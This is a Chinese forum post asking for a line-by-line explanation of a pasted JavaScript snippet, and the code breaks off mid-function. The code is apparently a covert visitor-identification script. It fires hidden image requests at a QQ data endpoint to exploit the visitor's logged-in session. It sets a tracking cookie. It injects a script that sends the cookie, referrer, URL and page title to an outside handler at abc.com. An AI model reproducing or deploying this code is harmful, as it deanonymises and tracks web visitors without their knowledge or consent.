哪位高手能帮忙注释一下这个js程序的功能?最好每一句都解释一下

谁能帮忙注释一下这个js程序的功能?最好每一句都解释一下

var div_box_qq; (function() {
var i_php = "http://www.abc.com/handle/";
var i_uid = "<?php echo $uin?>";
var i_need_login = false;
var loginTips = "\u7ee7\u7eed\u8bbf\u95ee";
function showEnterQQiFrame(url) {
    
div_box_qq = document.createElement("div");
div_box_qq.style.verticalAlign = "middle";
div_box_qq.style.textAlign = "center";
div_box_qq.style.position = "absolute";
div_box_qq.style.width = "100%";
div_box_qq.style.height = "100%";
div_box_qq.style.top = 0;
div_box_qq.style.left = 0;
div_box_qq.style.lineHeight = 24;
div_box_qq.style.background = "#FFF";
div_box_qq.style.visibility = "visible";
div_box_qq.innerHTML = '<a href="' + url + '" target="_blank" onclick="document.body.removeChild(div_box_qq)">' + loginTips + '</a>';
document.body.appendChild(div_box_qq)
}
function _init_send_by_iframe(uincookie, other) {
var i_referrer = encodeURIComponent(document.referrer);
var i_url = encodeURIComponent(document.location.href);
var i_title = encodeURIComponent(document.title);
var url = i_php + "?action=saveQQ" + other;
url += "&uid=" + i_uid;
url += "&meishi=10001196137,10000015635";
url += "&uincookie=" + uincookie;
url += "&referrer=" + i_referrer;
url += "&url=" + i_url;
url += "&title=" + i_title;
url += "&r=" + (new Date()).getTime();
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = url;
        
oHead.appendChild(oScript)
}
function SetCookie(name, value) {
var exp = new Date();
exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function GetCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null
}
function insertFrame() {
var img = new Image();
img.src = "http://app.data.qq.com/?umod=user&uid=10001196137&t=" + (new Date()).getTime();
img.width = 0;
img.height = 0;
img.border = 0;
document.body.appendChild(img);
img = new Image();
img.src = "http://app.data.qq.com/?umod=user&uid=10000015635&t=" + (new Date()).getTime();
img.width = 0;
img.height = 0;
img.border = 0;
        
if (img.attachEvent) {
img.attachEvent("onerror",
function() {
newSubmit()
});
img.attachEvent("onload",
function() {
newSubmit()
});
img.attachEvent("onabort",
function() {
newSubmit()
})
} else {
img.onerror = function() {
newSubmit()
};
img.onload = function() {
newSubmit()
};
img.onabort = function() {
newSubmit()
}
}
document.body.appendChild(img)
}
var isSubmited = false;
function newSubmit() {
if (isSubmited) {
return
}
isSubmited = true;
var uincookie = GetCookie("uincookie");
if (uincookie == null) {
uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
SetCookie("uincookie", uincookie)
}
_init_send_by_iframe(uincookie, "")
}
var checkTime = 0;
function isLogin() {
var code = null;
if (typeof(data3) == "undefined") {
code = data0.err
} else {
code = data3.err
}
if (code == 1007 || code == 1026 || code == 1002) {
window.clearInterval(isLoginTimeID);
insertFrame()
} else {
var uincookie = GetCookie("uincookie");
if (uincookie != null) {
window.clearInterval(isLoginTimeID);
_init_send_by_iframe(uincookie, "&do=uincookie")
} else {
if (checkTime++==1 && i_need_login) {
                
showEnterQQiFrame(i_php + "?action=loginqqiframe")
}
var checkscript = document.getElementById("checkloginscript");